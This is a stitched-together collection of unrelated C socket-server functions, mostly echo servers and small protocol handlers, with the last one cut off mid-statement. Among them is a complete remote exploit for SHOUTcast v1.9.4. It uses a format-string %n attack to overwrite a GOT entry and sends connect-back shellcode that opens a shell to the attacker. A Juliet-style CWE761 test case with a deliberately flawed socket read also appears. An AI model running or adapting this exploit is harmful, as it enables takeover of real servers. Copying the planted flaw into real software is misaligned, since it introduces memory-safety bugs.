HI_S32 ProcessVenc1() { int fd_listen, fd_accept; struct sockaddr_in addr_local = {0}, addr_remote; int started = 0; HI_S32 s32ChnTotal = 1; /* press Ctrl-C to quit. */ signal(SIGINT, HandleSig); if (-1 == (fd_listen = socket(AF_INET, SOCK_STREAM, 0))) { printf("\nFailed to create socket!"); return HI_FAILURE; } addr_local.sin_family = AF_INET; addr_local.sin_port = htons(DVS_PORT); addr_local.sin_addr.s_addr = INADDR_ANY; if (-1 == bind(fd_listen, (struct sockaddr*)&addr_local, sizeof(struct sockaddr))) { close(fd_listen); printf("\nFailed to bind port %d!", DVS_PORT); return HI_FAILURE; } if (-1 == listen(fd_listen, 1)) { close(fd_listen); printf("\nFailed to listen on port %d!", DVS_PORT); return HI_FAILURE; } while (1) { int sin_size = sizeof(struct sockaddr_in); char buf[128]; int len = 0; if (-1 == (fd_accept = accept(fd_listen, (struct sockaddr*)&addr_remote, &sin_size))) { printf("\nFailed to accept a connect!"); continue; } while (1) { len = recv(fd_accept, buf, 128, 0); if (len <= 0) { close(fd_accept); break; } if (0 == strncmp(buf, "hdscmd0", 7)) { switch (buf[7]) { case '0': { if (started == 1) continue; HI_S32 s32Ret; GET_STREAM_S stGetStream; VO_DEV VoDev = G_VODEV; VB_CONF_S stVbConf = {0}; HI_BOOL bHaveMinor = HI_FALSE; PIC_SIZE_E aenSize[2] = {PIC_CIF, PIC_CIF}; PAYLOAD_TYPE_E aenType[2] = {PT_H264, PT_H264}; stVbConf.astCommPool[0].u32BlkSize = 704 * 576 * 2; stVbConf.astCommPool[0].u32BlkCnt = 8 * s32ChnTotal; /* init video buffer and mpp sys */ s32Ret = SAMPLE_InitMPP(&stVbConf); if (HI_SUCCESS != s32Ret) { continue; } /* init vi and vo */ s32Ret = SAMPLE_StartViVo_SD(s32ChnTotal, aenSize[0], VoDev); if (HI_SUCCESS != s32Ret) { continue; } /* init group and venc */ s32Ret = SAMPLE_StartVenc(s32ChnTotal, bHaveMinor, aenType, aenSize); if (HI_SUCCESS != s32Ret) { continue; } stGetStream.enPayload = PT_H264; stGetStream.VeChnStart = 0; stGetStream.s32ChnTotal = (bHaveMinor)?(s32ChnTotal*2):s32ChnTotal; SAMPLE_StartVencGetStream(&stGetStream); started = 1; addr_client = addr_remote.sin_addr.s_addr; printf("\nbegin!"); } break; case '1': { if (started == 0) continue; SAMPLE_StopVencGetStream(); SAMPLE_StopVenc(s32ChnTotal, HI_FALSE); SAMPLE_ExitMPP(); started = 0; addr_client = 0; printf("\nend!"); } break; } } } close(fd_accept); } close(fd_listen); /*printf("%s", ping); while ((ch = getchar()) != 'q') { if ('\n' == ch) { continue; } switch (ch) { case '1': { SAMPLE_1D1H264(); break; } case '2' : { SAMPLE_1D1Mjpeg(); break; } case '3': { #ifdef hi3515 printf("hi3515 demo board not support SAMPLE_VENC_16CifH264"); #else SAMPLE_VENC_16CifH264(); #endif break; } case '4': { SAMPLE_VENC_4D14CifH264(); break; } case '5': { SAMPLE_VENC_JpegSnap(); break; } case '6': { SAMPLE_VENC_JpegSnap2(); break; } case '8': { SAMPLE_VencClipD1to4Cif(); break; } default: { printf("no order@@@@@!\n"); break; } } printf("%s", ping); }*/ return HI_SUCCESS; }
int main(int argc, char **argv) { //Comprobamos parámetros if(argc!=2) { fprintf(stderr,"Uso: %s <puerto>\n",argv[0]); return EXIT_FAILURE; } //Variables para sockets y demás historias struct sockaddr_in cliente, servidor; unsigned int puerto; int sd, nuevo_sd, salir, longitud; socklen_t tam_sockcliente = sizeof(cliente); char comando[5], buffer[255]; mi_cabecera cabecera; //Cogemos los parámetros puerto = atoi(argv[1]); //Semilla aleatoria srand(time(NULL)); //Apertura y configuración del socket if ((sd = socket (AF_INET, SOCK_STREAM, 0))<0) { perror("Error abriendo socket"); return EXIT_FAILURE; } servidor.sin_family = AF_INET; servidor.sin_addr.s_addr = INADDR_ANY; servidor.sin_port = htons(puerto); if (bind ( sd, (struct sockaddr *)&servidor, sizeof (servidor) ) <0) { perror("Error en la funcion bind"); return EXIT_FAILURE; } if (listen ( sd, MAX_CONEXIONES )<0) { perror("Error en la funcion listen"); return EXIT_FAILURE; } printf("\nServidor TCP listo para procesar las peticiones.\n\n"); salir = 0; //Bucle para procesar las solicitudes while (!salir) { if ((nuevo_sd = accept(sd, (struct sockaddr*)&cliente, &tam_sockcliente))<0) { perror("Error aceptando solicitud"); return EXIT_FAILURE; } //Recibo el comando if ((longitud = recv(nuevo_sd, (char*)&comando, 5, MSG_PEEK)) < 0 ) { perror("Error recibiendo la peticion"); return EXIT_FAILURE; } // ¿Acabamos? if(strncasecmp(comando,"fin",3)==0) { printf("\tRecibido el comando fin. Finalizando...\n"); if (shutdown(nuevo_sd, SHUT_RDWR)<0 || close(sd)<0) { perror("Error cerrando la conexion"); return EXIT_FAILURE; } salir=1; } else if (strncasecmp(comando,"frase",5)==0) //¿Envio frase? { //Recibo el paquete completo if (recv(nuevo_sd, (char*)&cabecera, sizeof(cabecera), 0) < 0) { perror("Error recibiendo datos: "); return EXIT_FAILURE; } cabecera.nombre[cabecera.longitud] = 0; longitud = sprintf(buffer,frases[rand()%NFRASES],cabecera.nombre); buffer[longitud]='\0'; //Envio if (sendto(nuevo_sd, buffer, longitud, 0, (struct sockaddr*)&cliente, sizeof(cliente) ) < 0 ) { perror("Error enviando respuesta"); return EXIT_FAILURE; } printf("Enviado:\n%s\n",buffer); if (shutdown(nuevo_sd, SHUT_RDWR)<0) { perror("Error cerrando la conexion"); return EXIT_FAILURE; } } else { printf("\tNo entiendo el comando \"%s\".\n",comando); if (shutdown(nuevo_sd, SHUT_RDWR)<0) { perror("Error cerrando la conexion"); return EXIT_FAILURE; } } } return EXIT_SUCCESS; }
int main(int argc, char *argv[]) { int serv_sock, clnt_sock; struct sockaddr_in serv_addr, clnt_addr; struct timeval timeout; fd_set reads, copy_reads; socklen_t addr_sz; int fd_max, str_len, fd_num, i; char buf[BUF_SIZE]; if(argc != 2) { printf("Usage : %s <port>\n", argv[0]); exit(1); } // create a server socket serv_sock = socket(PF_INET, SOCK_STREAM, 0); // initialize server address memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(atoi(argv[1])); // bind if(bind(serv_sock, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) == -1) { error_handling("bind() error!"); } // listen if(listen(serv_sock, 5) == -1) { error_handling("listen() error!"); } // configure fd FD_ZERO(&reads); FD_SET(serv_sock, &reads); fd_max = serv_sock; // serv_sock == 3 (don't know why); while(1) { copy_reads = reads; timeout.tv_sec = 5; timeout.tv_usec = 5000; if((fd_num = select(fd_max+1, ©_reads, 0, 0, &timeout)) < 0) { break; } else if(fd_num == 0) { // no event detected continue; } for(i=0; i<fd_max+1; i++) { if(FD_ISSET(i, ©_reads)) { if(i == serv_sock) { // connection requested //accept addr_sz = sizeof(clnt_addr); clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_addr, &addr_sz); FD_SET(clnt_sock, &reads); //fd_max += 1; if(fd_max < clnt_sock) { fd_max = clnt_sock; } printf("connected client: %d\n", clnt_sock); } else { // deal with the existing clients // read messages str_len = read(i, buf, BUF_SIZE); if(str_len == 0) { // close request!! FD_CLR(i, &reads); close(i); printf("closed client: %d \n", i); } else { write(i, buf, BUF_SIZE); // echo ! } } } } } close(serv_sock); return 0; }
int server(uint16_t port) { struct sockaddr_in client_addr; struct sockaddr_in server_addr; char msg[MAX_MSG_LENGTH], reply[MAX_MSG_LENGTH]; int server_socket; int new_socket; int len; /* Configuring the server_addr */ server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); server_addr.sin_addr.s_addr = INADDR_ANY; /* Creating the server socket using SOCK_STREAM and TCP PROTOCOL */ if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("Create socket error (server):"); return 1; } printf("Server's Socket created!\n"); /* Binding the socket to the server's address */ if ((bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr))) < 0) { perror("Error binding socket to client address in server"); exit(1); } printf("Server's Bind successful!\n"); /* Allowing the server to listen to a max of MAX_CLIENTS = 1 */ if (listen(server_socket, MAX_CLIENTS) < 0) { perror("Error setting up listen"); } memset(&client_addr.sin_addr, 0, sizeof(client_addr.sin_addr)); len = sizeof(client_addr); /* Listening for a connection from a client */ if ((new_socket = accept(server_socket, (struct sockaddr *)&client_addr, &len)) < 0) { perror("Error w/ server accepting connection"); exit(1); } else { printf("Accepted connection from: %s\n", inet_ntoa(client_addr.sin_addr)); } while (1) { len = sizeof(client_addr); /* recv() is the method that gets the input from the client, we store return value so we know the status */ int recv_len = recv(new_socket, reply, MAX_MSG_LENGTH, 0); if (recv_len <= 0) { /* Only called when client receives error or client disconnected */ if (recv_len == 0) { printf("Client disconnected\n"); /* Upon client disconnecting, server waits to accept the next client */ if ((new_socket = accept(server_socket, (struct sockaddr *)&client_addr, &len)) < 0) { perror("Error w/ server accepting connection"); exit(1); } else { printf("Accepted connection from: %s\n", inet_ntoa(client_addr.sin_addr)); } } else { perror("Recv error:"); return 1; } } else { /* This is the case when recv_len > 0, which signals the server received a valid reply from client */ printf("Received message from client: %s\n", reply); } /* This is part of the "echo" server where server returns the client's message */ if (send(new_socket, reply, strnlen(reply, MAX_MSG_LENGTH), 0) < 0) { perror("Send error:"); return 1; } /* Clearing the reply buffer with 0's for the next reply */ memset(&reply[0], 0, sizeof(reply)); } return 0; }
int main (int argc,char *argv[]) { char buf1[512]; char buf2[512]; char host[256]; char pass[256]="changeme"; char data; int type= 0; int c=0; int port=8001; char devices[256] = "ppp0"; unsigned char *ptr; struct hostent *hp; struct sockaddr_in sin_listener; struct ifreq ifr; struct timeval timeout; fd_set fdread; int delay = 12; int i = 0; int mode = 0; int local_port = 0; int opt = 0; int ret = 0; int sin_len = sizeof (struct sockaddr_in); int sock = 0; int sock2 = 0; int sockd = 0; int listener = 0; int time_out = 4; int tmp = 0; srand(getpid()); fprintf(stdout,"SHOUTcast v1.9.4 remote exploit by exworm of 0seen\n"); fprintf(stdout,"--------------------------------------------------(www.oseen.org)\n"); while((c=getopt(argc,argv,"h:p:a:t:")) !=EOF) { switch(c) { case 'p': port=atoi(optarg); if ((port <= 0) || (port > 65535)) { fprintf(stderr,"Invalid port.\n\n"); exit(1); } break; case 'a': memset(devices,0x0,sizeof(devices)); strncpy(devices,optarg,sizeof(devices) - 1); break; case 't': type = atoi(optarg); if (type == 0 || type > sizeof(targets) / 28) { for(i = 0; i < sizeof(targets) / 28; i++) fprintf(stderr, "%02d. %s - %s [0x%08x - 0x%08x]\n", i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax); return -1; } break; case 'h': memset(host,0x0,sizeof(host)); strncpy(host,optarg,sizeof(host) - 1); break; default: usage(argv[0]); exit(1); break; } } timeout.tv_sec = time_out; timeout.tv_usec = 0; if (strlen(host) == 0) { usage(argv[0]); exit(1); } sock=openhost(host, port); if (sock==-1) { fprintf(stderr,"- Unable to connect.\n\n"); exit(1); } strncpy(ifr.ifr_name, devices, 15); if ((sockd = socket(AF_INET, SOCK_DGRAM, 17)) < 0) { fprintf(stderr, "socket() error.\n"); return -1; } if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "socket() error.\n"); return -1; } ptr = get_my_ip_addr(sockd, &ifr); memcpy(&sin_listener.sin_addr.s_addr, ptr, 4); sin_listener.sin_family = AF_INET; memset(&sin_listener.sin_zero, 0x00, 8); while(1) { local_port = local_port = 45295; sin_listener.sin_port = htons(local_port); if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break; } listen(listener, 1); fprintf(stdout, "[+] lisntener...\n"); linux_connect_back[129] = (unsigned int) *(ptr + 0); linux_connect_back[130] = (unsigned int) *(ptr + 1); linux_connect_back[131] = (unsigned int) *(ptr + 2); linux_connect_back[132] = (unsigned int) *(ptr + 3); char req[1024] = "GET /content/DD" "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD" "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; strcat(req, "DD.mp3 HTTP/1.0\r\n\r\n"); char req1[1024] = "GET /content/AA" /* sprintf GOT addr */ "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08"; strcat(req1, linux_connect_back); strcat(req1, ".mp3 HTTP/1.0\r\n\r\n"); char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAA-%n-" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3" " /HTTP/1.0\r\n\r\n"; printf("[*] Sending first request ...\n"); write(sock, req1, strlen(req1)); close(sock); sock=openhost(host, 8000); if (sock==-1) { fprintf(stderr,"- Unable to connect.\n\n"); exit(1); } printf("[*] Sending second request ...\n"); while(1) { write(sock, req2, strlen(req2)); sleep(2); FD_ZERO(&fdread); FD_SET(listener, &fdread); timeout.tv_sec = time_out; timeout.tv_usec = 0; while(1) { ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout); if (ret < 0) { close(sock); close(listener); fprintf(stderr, "select() error.\n"); return -1; } if (ret == 0) { fprintf(stderr, "[+] Failed, waiting %d seconds.\n" "[+] Use ctrl-c to abort.\n", delay); sleep(delay); break; } if(FD_ISSET(listener, &fdread)) { sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len); close(sock); close(listener); fprintf(stderr, "[+] ownedbyOseen!\n" "-----------------------------------------------------------\n"); shell(sock2); close(sock2); return 0; } } } fprintf(stderr, "[+] Exploit failed.\n"); close(listener); close(sock); return 0; }
CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_listen_socket_84_bad::CWE761_Free_Pointer_Not_at_Start_of_Buffer__char_listen_socket_84_bad(char * dataCopy) { data = dataCopy; { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; char *replace; SOCKET listenSocket = INVALID_SOCKET; SOCKET acceptSocket = INVALID_SOCKET; size_t dataLen = strlen(data); do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a listen socket */ listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(TCP_PORT); if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR) { break; } acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed */ recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* Append null terminator */ data[dataLen + recvResult / sizeof(char)] = '\0'; /* Eliminate CRLF */ replace = strchr(data, '\r'); if (replace) { *replace = '\0'; } replace = strchr(data, '\n'); if (replace) { *replace = '\0'; } } while (0); if (listenSocket != INVALID_SOCKET) { CLOSE_SOCKET(listenSocket); } if (acceptSocket != INVALID_SOCKET) { CLOSE_SOCKET(acceptSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } }
int XHCP_server (node_t* argXmlConfig) { static const int zero=0; static int listener; static int conn; static pid_t pid; //static struct sockaddr_in servaddr; static struct sockaddr_storage servaddr; static struct timeval time_conn, time_resp; static char *additionalDataBuffer=NULL; static int argc = 0; static char *argv[MAX_CMD_ARGS+1]; static char buffer[MAX_REQ_LINE] = {0}; int status, nbCar; // Variables non persistantes int sockV4, sockV6; struct addrinfo hints, *list_addr, *p_adresse, *aiv4, *aiv6, *choix_ai; switch (XHCP_running_status) { /* ------------------------------------------------------------------------ */ case (XHCPstate_init): XHCP_loadConfig(argXmlConfig); /* Create socket */ // if ( (listener = socket (AF_INET, SOCK_STREAM, 0)) < 0 ) // Error_Quit ("Couldn't create listening socket."); /* Populate socket address structure */ memset (&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; if ( (getaddrinfo(NULL, XHCP_SERVER_PORT, &hints, &list_addr)) < 0 ) { //printf("getaddrinfo: %s\n",gai_strerroe(flags)); perror("getaddrinfo"); exit(1); } sockV4=-1; sockV6=-1; p_adresse = list_addr; // Vérification des protocoles en testant l'ouverture d'une socket while (p_adresse) { if ( p_adresse->ai_family == AF_INET6) { if ( sockV6 < 0 ) { printf("Scanning IPV6..."); if ( (sockV6=socket(p_adresse->ai_family, p_adresse->ai_socktype, p_adresse->ai_protocol)) >= 0 ) { aiv6 = p_adresse; printf(" found"); } printf("\n"); } } else if ( p_adresse->ai_family == AF_INET) { if ( sockV4 < 0 ) { printf("Scanning IPV4..."); if ( (sockV4=socket(p_adresse->ai_family, p_adresse->ai_socktype, p_adresse->ai_protocol)) >= 0 ) { aiv4 = p_adresse; printf(" found"); } printf("\n"); } } p_adresse = p_adresse->ai_next; } // Selection de la socket if ( sockV6 >= 0 ) { choix_ai = aiv6; listener = sockV6; // Tentative d'activation de la traduction IPV6->IPV4 if ( setsockopt(sockV6, IPPROTO_IPV6, IPV6_V6ONLY, &zero, sizeof(zero)) < 0 ) { perror("notice : setsockopt(IPV6_ONLY)"); printf("IPV6 ONLY ! Tentative de passer en IPV4...\n"); if (sockV4 >=0) { close(sockV6); sockV6 = -1; } } else { //Traduction possible, on ferme l'ipv4 if (sockV4 >= 0) { printf("IPV4 over IPV6 => close IPV4\n"); close(sockV4); sockV4=-1; } } } if ( sockV4 >= 0 ) { choix_ai = aiv4; listener = sockV4; } else if ( sockV6 < 0 ) { Error_Quit ("Aucun protocole IPV4 ou IPV6 possible."); } /* "Address already in use" error message killer !!!! */ int tr=1; if (setsockopt(listener,SOL_SOCKET,SO_REUSEADDR,&tr,sizeof(int)) == -1) { perror("setsockopt"); exit(1); } /* Assign socket address to socket */ if ( bind (listener, choix_ai->ai_addr, choix_ai->ai_addrlen) < 0 ) { perror("Bind"); Error_Quit ("Couldn't bind listening socket."); } /* Make socket a listening socket */ if ( listen (listener, LISTENQ) < 0 ) Error_Quit ("Call to listen failed."); int flags = fcntl(listener, F_GETFL ); fcntl(listener, F_SETFL, flags | O_NONBLOCK ); freeaddrinfo(list_addr); /* Diverses initialisations */ XHCP_customWelcomeMessage (); /* L'initialisation est terminée, on passe à la suite */ XHCP_running_status = XHCPstate_waitConnect; /* No break, we continue !!!*/ /* ------------------------------------------------------------------------ */ case (XHCPstate_waitConnect): /* Wait for connection */ if ( (conn = accept (listener, NULL, NULL)) < 0 ) { if ( (errno == EWOULDBLOCK) || (errno == EAGAIN) ) { return XHCP_running_status; } else Error_Quit ("Error calling accept()"); } //Gestion du timeout pour la bascule en mode commande gettimeofday(&time_conn, NULL); //XHCP_running_status = XHCPstate_waitCommand; XHCP_running_status = XHCPstate_waitHTTPRequest; /* No break, we continue !!!*/ /* ------------------------------------------------------------------------ */ case (XHCPstate_waitHTTPRequest): if ( (nbCar = recv(conn, buffer, MAX_REQ_LINE - 1, MSG_DONTWAIT)) <0 ) { if ( (errno == EWOULDBLOCK) || (errno == EAGAIN) ) { //TODO Gestion du timeout gettimeofday(&time_resp, NULL); if ( timerdiff(&time_conn, &time_resp) > 100000 ) { // On passe en mode "Commande" XHCP_running_status = XHCPstate_waitCommand; XHCP_printXHCPResponse (conn, RES_HALWELCOM ); // Petit message de bienvenue } return XHCP_running_status; } else Error_Quit ("Error calling accept()"); } buffer[nbCar]='\0'; /* We suppress all extra characters */ Trim (buffer, 0); processHttpRequest(conn, buffer); if ( close (conn) < 0 ) Error_Quit ("Error closing connection socket in parent."); XHCP_running_status = XHCPstate_waitConnect; return XHCP_running_status; /* ------------------------------------------------------------------------ */ case (XHCPstate_waitCommand): if ( (nbCar = recv(conn, buffer, MAX_REQ_LINE - 1, MSG_DONTWAIT)) <0 ) { if ( (errno == EWOULDBLOCK) || (errno == EAGAIN) ) { //TODO Gestion du timeout return XHCP_running_status; } else Error_Quit ("Error calling accept()"); } buffer[nbCar]='\0'; Trim (buffer, 0); // We suppress all extra characters if ( buffer[0] == '\0' ) return XHCP_running_status; // We continue.... printf ("Ligne lue : %s\n", buffer); cut_Line (buffer, &argc, argv); printf ("%d arguments :\n", argc); int i; for ( i=0; i<argc; i++ ) printf ( "%d - %s\n", i, argv[i]); status = exec_Line (conn, argc, argv ); // We compute the line... printf("Ligne executee, statut = %d\n",status); switch (status) { case -1: // deconnexion XHCP_running_status = XHCPstate_endConnect; return XHCP_running_status; break; case 0: // Fin de la commande return XHCP_running_status; break; // default : // On continue } XHCP_running_status = XHCPstate_waitData; /* No break, we continue !!!*/ /* ------------------------------------------------------------------------ */ case (XHCPstate_waitData): if ( (nbCar = recv(conn, buffer, MAX_REQ_LINE - 1, MSG_DONTWAIT)) <0 ) { if ( (errno == EWOULDBLOCK) || (errno == EAGAIN) ) { //TODO Gestion du timeout return XHCP_running_status; } else Error_Quit ("Error calling accept()"); } buffer[nbCar]='\0'; /* We suppress all extra characters on the right except '.' and '>' */ Trim (buffer, 1); /* The handler is activate, so all lignes are added in buffer */ if ( buffer[0] == '.' && buffer[1] == '\0') { additionalDataHandler (conn, argc, argv, additionalDataBuffer ); additionalDataHandler = NULL; free (additionalDataBuffer); additionalDataBuffer = NULL; XHCP_running_status = XHCPstate_waitCommand; } else { additionalDataBuffer = addBuffer (additionalDataBuffer, buffer); } break; /* ------------------------------------------------------------------------ */ case (XHCPstate_endConnect): XHCP_printXHCPResponse (conn, RES_CLOCONBYE ); if ( close (conn) < 0 ) Error_Quit ("Error closing connection socket in parent."); XHCP_running_status = XHCPstate_waitConnect; //default : /* (XHCPstate_death) */ /* Do nothing ... */ } return XHCP_running_status; }
int main(void){ int server_Socket, accept_Socket; unsigned int length, count; struct sockaddr_in server_Struct, client_Struct; char got_charachter[1000]; char web_Site[]="HTTP/1.1 200 OK\r\n\r\n"; unsigned short int port_No=5000; char *position_of_GET,*position_of_HTTP; char nameof_File[100]; server_Socket=socket(AF_INET,SOCK_STREAM,0); server_Struct.sin_family=AF_INET; server_Struct.sin_addr.s_addr=htonl(INADDR_ANY); server_Struct.sin_port=htons(port_No); length=sizeof(server_Struct); printf("\n Server is now binding...."); bind(server_Socket,(struct sockaddr *)&server_Struct,length); printf("\n Server listen...."); //printf("\n Server mit IP %s on port %d ",ip_Adress,port_No); listen(server_Socket,5); while(1){ printf("\n Server accept....."); fflush(stdout); accept_Socket=accept(server_Socket,(struct sockaddr *)&client_Struct, &length); printf(" connected to %s",inet_ntoa(client_Struct.sin_addr)); count=read(accept_Socket,got_charachter,sizeof(got_charachter)); got_charachter[count]=0; printf("server got the charachters %s",got_charachter); if(position_of_GET=strstr(got_charachter,"GET")) { printf("\n GET command start at char %ld\n\n",(position_of_GET-got_charachter)+1); if(position_of_HTTP=strstr(got_charachter,"HTTP")) { printf("\n GET command start at char %ld\n\n",(position_of_HTTP-got_charachter)+1); length=position_of_HTTP-position_of_GET-6; strncpy(nameof_File,position_of_GET+4,length+1); nameof_File[length+1]=0; printf("\n The name of File you asked for %s is not available at this moment",nameof_File); } else { printf("\n HTTP has no HTTP \n\n"); } } else { printf("\n HTTP has no GET \n\n"); } printf("\n\n\n"); write(accept_Socket,web_Site,sizeof(web_Site)); printf("\n\n server close()...."); close(accept_Socket); } return (0); }
int main() { int sock, listener; struct sockaddr_in addr; char buf[1024]; int bytes_read; listener = socket(AF_INET, SOCK_STREAM, 0); if(listener < 0) { perror("socket"); exit(1); } addr.sin_family = AF_INET; addr.sin_port = htons(3425); addr.sin_addr.s_addr = INADDR_ANY; if(bind(listener, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); exit(2); } listen(listener, 1); while(1) { sock = accept(listener, NULL, NULL); if(sock < 0) { perror("accept"); exit(3); } switch(fork()) { case -1: perror("fork"); break; case 0: close(listener); while(1) { bytes_read = recv(sock, buf, 1024, 0); if(bytes_read <= 0) break; send(sock, buf, bytes_read, 0); } close(sock); _exit(0); default: close(sock); } } close(listener); return 0; }
int main(int argc, char* argv[]) { WSADATA wsa; SOCKET new_socket, s; struct sockaddr_in server, client; int c = sizeof(struct sockaddr_in); puts("TCP/IP socket ECHO v1.0 server"); printf("\nInitialising Winsock..."); if (WSAStartup(MAKEWORD(2,2),&wsa) != 0) { printf("Failed. Error Code : %d",WSAGetLastError()); exit(EXIT_FAILURE); } printf("Initialised.\n"); //Create a socket if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET) { printf("Could not create socket : %d" , WSAGetLastError()); exit(EXIT_FAILURE); } printf("Socket created.\n"); //Prepare the sockaddr_in structure server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons( 8888 ); //Bind if( bind(s ,(struct sockaddr *)&server , sizeof(server)) == SOCKET_ERROR) { printf("Bind failed with error code : %d" , WSAGetLastError()); exit(EXIT_FAILURE); } puts("Bind done"); //Listen to incoming connections listen(s , 3); //Accept and incoming connection puts("Waiting for incoming connections..."); while(TRUE) { new_socket = accept(s , (struct sockaddr *)&client, &c); if (new_socket == INVALID_SOCKET) { printf("accept failed with error code : %d" , WSAGetLastError()); } else { _beginthread(sckProcessData, 0, (LPVOID)new_socket); } } closesocket(s); WSACleanup(); return 0; }
void main() { int port = PORT; WSADATA wsaData; SOCKET sListen, sAccept; int iLen; //客户地址长度 int iSend; //发送数据长度 char buf[] = "hello,how are you";//需要发送的信息 struct sockaddr_in serv, client;//服务器、客户的地址 if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("Winsock load failed\n"); return; } sListen = socket(AF_INET, SOCK_STREAM, 0);//创建套接字 if (sListen == INVALID_SOCKET) { //创建套接字失败 printf("socket failed:%d\n", WSAGetLastError());//输出错误 return; } //建立服务器地址 serv.sin_family = AF_INET; serv.sin_port = htons(port);//把一个双字节主机字节顺序的数据转换为网络字节顺序 serv.sin_addr.s_addr = htonl(INADDR_ANY);//把四字节主机字节顺序转换为网络字节顺序,INADDR_ANY为系统指定的IP地址 //绑定 if (bind(sListen, (LPSOCKADDR)&serv, sizeof(serv)) == SOCKET_ERROR) { //绑定失败 printf("bind() failed:%d\n", WSAGetLastError()); return; } //进入监听状态 if (listen(sListen, 5) == SOCKET_ERROR)//正在等待连接的最大个数是5 { //侦听出错 printf("listen() failed:%d\n", WSAGetLastError()); return; } iLen = sizeof(client);//初始化客户地址长度 //进入循环等待客户端连接请求 while (1) { sAccept = accept(sListen, (struct sockaddr*)&client, &iLen); if (sAccept == INVALID_SOCKET) { printf("accept() failed:%d\n", WSAGetLastError()); break; } //printf("accepted client IP:[%s],port:[%d]\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port)); char* msg = new char[500]; int msgLen = recv(sAccept, msg, 500, 0); msg[msgLen] = '\0'; if (msgLen>0) printf("%s\n", msg); //给客户端发送数据 iSend = send(sAccept, buf, sizeof(buf), 0); if (iSend == SOCKET_ERROR) { printf("send() failed:%d\n", WSAGetLastError()); break; } else if (iSend == 0) { break; } else { printf("send() byte:%d\n", iSend); } closesocket(sAccept); } closesocket(sListen); WSACleanup(); }
int main(int argc, char *argv[]) { struct timespec timeBase, timeNow; long long delta, deltaPrevious; int sockfd, sockfdClient, buffLen, readLen, readIdx, count, port; struct sockaddr_in addrServ, addrClient; socklen_t addrClientLen; char buff[2], *buffLong, label[21]; clock_gettime(CLOCKTYPE, &timeBase); port = SERVER_PORT; if (2 <= argc) { port = atoi(argv[1]); if (0 >= port) { port = SERVER_PORT; } } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (0 > sockfd) { fprintf(stderr, "Error establishing socket.\n"); exit(1); } bzero((char *) &addrServ, sizeof(addrServ)); addrServ.sin_family = AF_INET; addrServ.sin_addr.s_addr = INADDR_ANY; addrServ.sin_port = htons(port); if (0 > bind(sockfd, (struct sockaddr *) &addrServ, sizeof(addrServ))) { fprintf(stderr, "Error binding socket to server port %d.\n", port); exit(1); } listen(sockfd, 5); printf("SERVER LISTENING ON PORT %d\n", port); fflush(stdout); // Enter loop accepting new connections for (count = 0;; count++) { addrClientLen = sizeof(addrClient); sockfdClient = accept(sockfd, (struct sockaddr *) &addrClient, &addrClientLen); if (0 > sockfdClient) { close(sockfd); fprintf(stderr, "Error accepting connection from port %d.\n", port); exit(1); } printf("NEW CONNECTION (%d)\n", count); fflush(stdout); deltaPrevious = -1; // Enter loop handling packets from this connection for (;;) { readLen = read(sockfdClient, buff, sizeof(buff)); if (0 == readLen) { break; } if (0 > readLen) { close(sockfdClient); close(sockfd); fprintf(stderr, "Error reading 